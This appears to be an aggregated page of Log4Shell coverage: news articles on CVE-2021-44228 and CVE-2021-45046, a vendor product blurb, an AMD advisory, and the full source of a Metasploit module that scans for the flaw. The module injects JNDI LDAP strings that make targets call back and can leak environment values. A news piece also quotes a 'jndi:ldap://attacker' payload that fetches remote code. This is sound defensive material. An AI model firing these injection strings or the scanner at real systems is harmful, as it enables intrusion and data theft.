Not only can you monitor for suspicious actors with tCell, but you can also configure tCell to block all activity or just the suspicious activity from the malicious actor’s IP.

All the components together make the magic happen

The power of tCell isn’t in one or two features, but rather its robust capability set, which we believe is required to secure any environment with a defense-in-depth approach. We will help customers not only identify vulnerable Log4j packages that are being used, but also assist with monitoring for suspicious activity and block attacks. The best security is when you have multiple types of defenses available to protect against bad actors, and this is why using the capabilities mentioned here will prove to be valuable in protecting against Log4Shell and future threats.

Get more critical insights about defending against Log4Shell

Check out our resource center

Read More

Apache’s Fix for Log4Shell Can Lead to DoS Attacks

 

Description

As if finding one easily exploited and extremely dangerous flaw in the ubiquitous Java logging library Apache Log4j hadn’t already turned the Internet security community on its ear, researchers now have found a new vulnerability in Apache’s patch issued to mitigate it.

Last Thursday security researchers began warning that a vulnerability tracked as CVE-2021-44228 in Apache Log4j was under active attack and had the potential, according to many reports, to break the internet. Dubbed Log4Shell by LunaSec, the flaw resides in the broadly deployed Java logging library and is a remote code execution (RCE) bug that’s simple to exploit in many services and products.

A barrage of attackers immediately set upon Log4Shell, initially to unleash malicious code on either servers or clients running the Java version of Minecraft by manipulating log messages, including from text typed into chat messages. Then attackers began to branch out, spawning 60 or more bigger mutations of the original exploit in one day.

To its credit, Apache hastily released a patch to fix Log4Shell with Log4j version 2.15.0 last Friday. But now researchers have found that this fix “is incomplete in certain non-default configurations” and paves the way for denial of service (DoS) attacks in certain scenarios, according to a security advisory by Apache.org.

The newly discovered flaw, tracked as CVE-2021-45046, could allow attackers with control over Thread Context Map (MDC) input data to craft malicious input data using a Java Naming and Directory Interface (JNDI) Lookup pattern in certain instances, resulting in a DoS attack, according to the advisory.

The set-up for exploit is when the logging configuration uses a non-default Pattern Layout with either a Context Lookup – for example, $${ctx:loginId} – or a Thread Context Map pattern (%X, %mdc, or %MDC), according to the advisory.

“Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default,” according to Apache.org. “Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.”

Fixing the Fix

A new release of Log4j, version 2.16.0, fixes the issue by removing support for message lookup patterns and disabling JNDI functionality by default, according to the advisory. To mitigate the bug in previous Log4j releases, developers can remove the JndiLookup class from the classpath, Apache.org advised.

One security professional noted that it may have been Apache’s haste to release a patch for Log4Shell after the initial panic over its discovery may have inadvertently caused the latest CVE.

“Often rushing patches to fix vulnerabilities means that the fix may not be complete, as the case is here,” observed John Bambenek, principal threat hunter at Netenrich, in an email to Threatpost on Tuesday. He said the solution to the problem is “to disable JNDI functionality entirely.”

Since at least a dozen groups are already known to be exploiting these vulnerabilities, he urged immediate action be taken to either patch, remove JNDI from Log4j or take it out of the classpath – “preferably all of the above,” Bambenek said.

Getting a Handle on the Situation

Researchers and security professionals are still wrapping their heads around the broad and wide-reaching implications of Log4Shell as well as the potential that remains for even more related bugs to be found, another security professional noted.

“When a vulnerability is discovered and makes as much noise as Log4Shell, it invariably signals that there are additional vulnerabilities in the same software or fixes for that software and triggers additional research and discovery,” Casey Ellis, founder and CTO at Bugcrowd, wrote in an email to Threatpost.

Indeed, there already is some confusion about how many vulnerabilities currently exist that are related to Log4Shell and how they all correlate to one another, adding to the avalanche of information being published about the bug, researchers from RiskBased Security wrote in a blog post published Tuesday.

At this point, there are currently three published CVEs associated with Log4Shell – CVE-2021-44228, the original zero-day; CVE-2021-45046, the “incomplete fix”; and CVE-2021-4104, a flaw found in another component of Log4j, JMSAppender, that doesn’t appear to be of great concern, according to the RiskBased Security team.

In the case of CVE-2021-44228, researchers argue that it is not a new problem at all, “but is really the same vulnerability,” according to the post.

“MITRE and CVE Numbering Authorities (CNA) will assign a second CVE ID in cases of fixes not fully patching an issue,” researchers wrote. “This helps some organizations in tracking an issue while introducing confusion to others.”

And despite there being more than one CVE, “places have been treating them as a single issue, but this is definitely not the case,” according to RiskBased Security.

Worse Before It Gets Better

One thing that’s certain about the mounting drama surrounding Log4Shell is that, because the attack surface for the vulnerability is so vast, there is great potential for extensive and further exploitation, according to RiskBased Security.

“It is important to call out that Log4j is a popular logging framework in Java,” researchers wrote in the post. “This means it’s used in an _extraordinary _number of things.”

Indeed, a long list of vendors’ products are vulnerable to Log4Shell, including but not limited to: Broadcom, Cisco, Elasticsearch, F-secure, Fedora, HP, IBM, Microsoft, National Security Agency (NSA), RedHat, SonicWall and VMWare.

Within hours of public disclosure of the flaw, attackers were scanning for vulnerable servers and unleashing attacks to drop coin-miners, Cobalt Strike malware, the new Khonsari ransomware, the Orcus remote access trojan (RAT). reverse bash shells for future attacks, Mirai and other botnets, and backdoors.

Whatever happens going forward, as variations for the original exploit continue to be spawned and attackers continue to swarm, the situation is likely to get worse before it gets better. This means that the dust over Log4Shell probably won’t settle for a very long time.

“This new Log4j vulnerability will likely haunt us for years to come,” according to RiskBased Security.

Read More

Log4Shell HTTP Scanner

 

Description

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Log4Shell
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Log4Shell HTTP Scanner',
      'Description' => %q{
        Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
        log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.

        This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will
        trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying
        instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include
        HTTP headers and the HTTP request path.

        Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid,
        Apache JSPWiki, Apache OFBiz.
      },
      'Author' => [
        'Spencer McIntyre', # The fun stuff
        'RageLtMan <rageltman[at]sempervictus>', # Some plumbing
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'CVE', '2021-45046' ],
        [ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis' ],
        [ 'URL', 'https://logging.apache.org/log4j/2.x/security.html' ]
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => []
      }
    )

    register_options([
      OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
      OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
      OptString.new('LEAK_PARAMS', [ false, 'Additional parameters to leak, separated by the ^ character (e.g., ${env:USER}^${env:PATH})']),
      OptPath.new(
        'HEADERS_FILE',
        [
          false,
          'File containing headers to check',
          File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_headers.txt')
        ]
      ),
      OptPath.new(
        'URIS_FILE',
        [
          false,
          'File containing additional URIs to check',
          File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_uris.txt')
        ]
      ),
      OptInt.new('LDAP_TIMEOUT', [ true, 'Time in seconds to wait to receive LDAP connections', 30 ])
    ])
  end

  def log4j_jndi_string(resource = '')
    resource = resource.dup
    resource << '/${java:os}/${sys:java.vendor}_${sys:java.version}'
    # We should add obfuscation to the URL string to scan through lousy "next-gen" firewalls
    unless datastore['LEAK_PARAMS'].blank?
      resource << '/'
      resource << datastore['LEAK_PARAMS']
    end
    super(resource)
  end

  #
  # Handle incoming requests via service mixin
  #
  def build_ldap_search_response(msg_id, base_dn)
    token, java_os, java_version, uri_parts = base_dn.split('/', 4)
    target_info = @mutex.synchronize { @tokens.delete(token) }
    if target_info
      @mutex.synchronize { @successes << target_info }
      details = normalize_uri(target_info[:target_uri]).to_s
      details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
      details << " (os: #{java_os})" unless java_os.blank?
      details << " (java: #{java_version})" unless java_version.blank?
      unless uri_parts.blank?
        uri_parts = uri_parts.split('^')
        leaked = ''
        datastore['LEAK_PARAMS'].split('^').each_with_index do |input, idx|
          next if input == uri_parts[idx]

          leaked << "#{input}=#{uri_parts[idx]}  "
        end
        unless leaked.blank?
          details << " (leaked: #{leaked.rstrip})"
          vprint_good("Leaked data: #{leaked.rstrip}")
        end
      end
      peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
      print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
      report_vuln(
        host: target_info[:rhost],
        port: target_info[:rport],
        info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
        name: name,
        refs: references
      )
    end

    attrs = [ ]
    appseq = [
      base_dn.to_ber,
      attrs.to_ber_sequence
    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
    [ msg_id.to_ber, appseq ].to_ber_sequence
  end

  def rand_text_alpha_lower_numeric(len, bad = '')
    foo = []
    foo += ('a'..'z').to_a
    foo += ('0'..'9').to_a
    Rex::Text.rand_base(len, bad, *foo)
  end

  def run
    validate_configuration!
    @mutex = Mutex.new
    @mutex.extend(::Rex::Ref)

    @tokens = {}
    @tokens.extend(::Rex::Ref)

    @successes = []
    @successes.extend(::Rex::Ref)

    begin
      start_service
    rescue Rex::BindFailed => e
      fail_with(Failure::BadConfig, e.to_s)
    end

    super

    print_status("Sleeping #{datastore['LDAP_TIMEOUT']} seconds for any last LDAP connections")
    sleep datastore['LDAP_TIMEOUT']

    if @successes.empty?
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Vulnerable(details: @successes)
  end

  def run_host(ip)
    # probe the target before continuing
    return if send_request_cgi('uri' => normalize_uri(target_uri)).nil?

    run_host_uri(ip, normalize_uri(target_uri)) unless target_uri.blank?

    return if datastore['URIS_FILE'].blank?

    File.open(datastore['URIS_FILE'], 'rb').each_line(chomp: true) do |uri|
      next if uri.blank? || uri.start_with?('#')

      if uri.include?('${jndi:uri}')
        token = rand_text_alpha_lower_numeric(8..32)
        jndi = log4j_jndi_string(token)
        uri.delete_prefix!('/')
        test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi)))
      else
        run_host_uri(ip, normalize_uri(target_uri, uri))
      end
    end
  end

  def run_host_uri(_ip, uri)
    # HTTP_HEADER isn't exposed via the datastore but allows other modules to leverage this one to test a specific value
    unless datastore['HTTP_HEADER'].blank?
      token = rand_text_alpha_lower_numeric(8..32)
      test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => log4j_jndi_string(token) })
    end

    unless datastore['HEADERS_FILE'].blank?
      headers_file = File.open(datastore['HEADERS_FILE'], 'rb')
      headers_file.each_line(chomp: true) do |header|
        next if header.blank? || header.start_with?('#')

        token = rand_text_alpha_lower_numeric(8..32)
        test(token, uri: uri, headers: { header => log4j_jndi_string(token) })
      end
    end

    token = rand_text_alpha_lower_numeric(8..32)
    jndi = log4j_jndi_string(token)
    test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/')), '/'))

    token = rand_text_alpha_lower_numeric(8..32)
    jndi = log4j_jndi_string(token)
    test(token, uri: normalize_uri(uri, Rex::Text.uri_encode(jndi.gsub('ldap://', 'ldap:${::-/}/'))))
  end

  def test(token, uri: nil, headers: nil)
    target_info = {
      rhost: rhost,
      rport: rport,
      target_uri: uri,
      headers: headers
    }
    @mutex.synchronize { @tokens[token] = target_info }

    send_request_raw(
      'uri' => uri,
      'method' => datastore['HTTP_METHOD'],
      'headers' => headers
    )
  end

  attr_accessor :mutex, :tokens, :successes
end

Read More

AMD Response to Log4j (Log4Shell) Vulnerability

 

Description

Summary

1/17/2022 Update:

AMD has completed our investigation of the Apache Log4j vulnerability. AMD believes no AMD products are affected.

12/15/2021:

AMD is actively investigating potential impacts of the Apache Log4j vulnerability (Log4Shell) to AMD products. The description of the vulnerability, published by the national vulnerability database (NVD) states:

CVE-2021-44228
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property “log4j2.formatMsgNoLookups” to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Affected Products

Currently, no AMD products have been identified as affected.

References

1. https://logging.apache.org/log4j/2.x/security.html
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
3. https://nvd.nist.gov/vuln/detail/CVE-2021-44228

DISCLAIMER

The information contained herein is for informational purposes only and is subject to change without notice. While every precaution has been taken in the preparation of this document, it may contain technical inaccuracies, omissions and typographical errors, and AMD is under no obligation to update or otherwise correct this information. Advanced Micro Devices, Inc. makes no representations or warranties with respect to the accuracy or completeness of the contents of this document, and assumes no liability of any kind, including the implied warranties of noninfringement, merchantability or fitness for particular purposes, with respect to the operation or use of AMD hardware, software or other products described herein. Any computer system has risks of security vulnerabilities that cannot be completely prevented or mitigated. No license, including implied or arising by estoppel, to any intellectual property rights is granted by this document. Terms and limitations applicable to the purchase or use of AMD’s products are as set forth in a signed agreement between the parties or in AMD’s Standard Terms and Conditions of Sale.

AMD, the AMD Arrow logo, and combinations thereof are trademarks of Advanced Micro Devices, Inc. Other product names used in this publication are for identification purposes only and may be trademarks of their respective companies.

Read More

Second Log4j Vulnerability (CVE-2021-45046) Discovered — New Patch Released

 

Description

UPDATE — The severity score of CVE-2021-45046, originally classified as a DoS bug, has since been revised from 3.7 to 9.0, to reflect the fact that an attacker could abuse the vulnerability to send a specially crafted string that leads to “information leak and remote code execution in some environments and local code execution in all environments.”

The Apache Software Foundation (ASF) has pushed out a new fix for the Log4j logging utility after the previous patch for the recently disclosed Log4Shell exploit was deemed as “incomplete in certain non-default configurations.”

The second vulnerability — tracked as CVE-2021-45046 — is rated 3.7 out of a maximum of 10 on the CVSS rating system and affects all versions of Log4j from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0, which the project maintainers shipped last week to address a critical remote code execution vulnerability (CVE-2021-44228) that could be abused to infiltrate and take over systems.

The incomplete patch for CVE-2021-44228 could be abused to “craft malicious input data using a JNDI Lookup pattern resulting in a denial-of-service (DoS) attack,” the ASF said in a new advisory. The latest version of Log4j, 2.16.0 (for users requiring Java 8 or later), all but removes support for message lookups and disables JNDI by default, the component that’s at the heart of the vulnerability. Users requiring Java 7 are recommended to upgrade to Log4j release 2.12.2 when it becomes available.

“Dealing with CVE-2021-44228 has shown the JNDI has significant security issues,” Ralph Goers of the ASF explained. “While we have mitigated what we are aware of it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it.”

JNDI, short for Java Naming and Directory Interface, is a Java API that enables applications coded in the programming language to look up data and resources such as LDAP servers. Log4Shell is resident in the Log4j library, an open-source, Java-based logging framework commonly incorporated into Apache web servers.

The issue itself occurs when the JNDI component of the LDAP connector is leveraged to inject a malicious LDAP request — something like “${jndi:ldap://attacker_controled_website/payload_to_be_executed}” — that, when logged on a web server running the vulnerable version of the library, enables an adversary to retrieve a payload from a remote domain and execute it locally.

The latest update arrives as fallout from the flaw has resulted in a “true cyber pandemic,” what with several threat actors seizing on Log4Shell in ways that lay the groundwork for further attacks, including deploying coin miners, remote access trojans, and ransomware on susceptible machines. The opportunistic intrusions are said to have commenced at least since December 1, although the bug became common knowledge on December 9.

The security flaw has sparked widespread alarm because it exists in a near-ubiquitously used logging framework in Java applications, presenting bad actors with an unprecedented gateway to penetrate and compromise millions of devices across the world.

Spelling further trouble for organizations, the remotely exploitable flaw also impacts hundreds of major enterprise products from a number of companies such as Akamai, Amazon, Apache, Apereo, Atlassian, Broadcom, Cisco, Cloudera, ConnectWise, Debian, Docker, Fortinet, Google, IBM, Intel, Juniper Networks, Microsoft, Okta, Oracle, Red Hat, SolarWinds, SonicWall, Splunk, Ubuntu, VMware, Zscaler, and Zoho, posing a significant software supply chain risk.

“Unlike other major cyberattacks that involve one or a limited number of software, Log4j is basically embedded in every Java based product or web service. It is very difficult to manually remediate it,” Israeli security company Check Point said. “This vulnerability, because of the complexity in patching it and easiness to exploit, seems that it will stay with us for years to come, unless companies and services take immediate action to prevent the attacks on their products by implementing a protection.”

In the days after the bug was disclosed, at least ten different groups have jumped in on the exploit bandwagon and roughly 44% of corporate networks globally already have been under attack, marking a significant escalation of sorts. Furthermore, criminal gangs acting as access brokers have begun using the vulnerability to gain initial foothold into target networks and then sell the access to ransomware-as-a-service (RaaS) affiliates.

This also encompasses nation-state actors originating from China, Iran, North Korea, and Turkey, with Microsoft noting that the “activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment, and exploitation against targets to achieve the actor’s objectives.”

The large-scale weaponization of the remote code execution flaw has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add Log4Shell to its Known Exploited Vulnerabilities Catalog, giving federal agencies a deadline of December 24 to incorporate patches for the vulnerability and urging vendors to “immediately identify, mitigate, and patch affected products using Log4j.”

Sean Gallagher, a senior threat researcher at Sophos, warned that “adversaries are likely grabbing as much access to whatever they can get right now with the view to monetize and/or capitalize on it later on,” adding “there is a lull before the storm in terms of more nefarious activity from the Log4Shell vulnerability.”

“The most immediate priority for defenders is to reduce exposure by patching and mitigating all corners of their infrastructure and investigate exposed and potentially compromised systems. This vulnerability can be everywhere,” Gallagher added.

Read More